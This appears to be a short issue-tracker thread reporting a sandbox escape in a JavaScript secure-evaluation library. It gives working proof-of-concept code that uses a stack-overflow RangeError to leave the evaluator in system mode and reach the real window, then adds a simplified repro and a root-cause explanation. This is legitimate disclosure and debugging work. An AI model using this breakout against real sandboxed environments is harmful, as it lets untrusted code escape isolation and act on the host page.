Breakout via RangeError: Maximum call stack size exceeded

[XmiliaH]

You can break out of the example via:

function loop(g){
  try{
    g["eval"]('1');
  }catch(e){
    return e;
  }
  return loop(g);
}
loop(this);
const e = eval;
const f = e('Function')
f('return window')().top.document.title = "Oh No"

Tested on Chrome Version 76.0.3809.132 (Official Build) (64-Bit)

[Jack-Works]

Curious why it happened

[jfparadis]

Simplified repro:

function loop(g){
  try{
    g["eval"]('1');
  }catch(e){
    return e;
  }
  return loop(g);
}
loop(this);
(0, eval)('window') + ''

Output should be "undefined" is actually "[object Window]"

[jfparadis]

The cause: the scoped proxy handler is shared between multiple evaluators. When the range error occurs, the state is left in system mode and the unsafe eval is available in user land.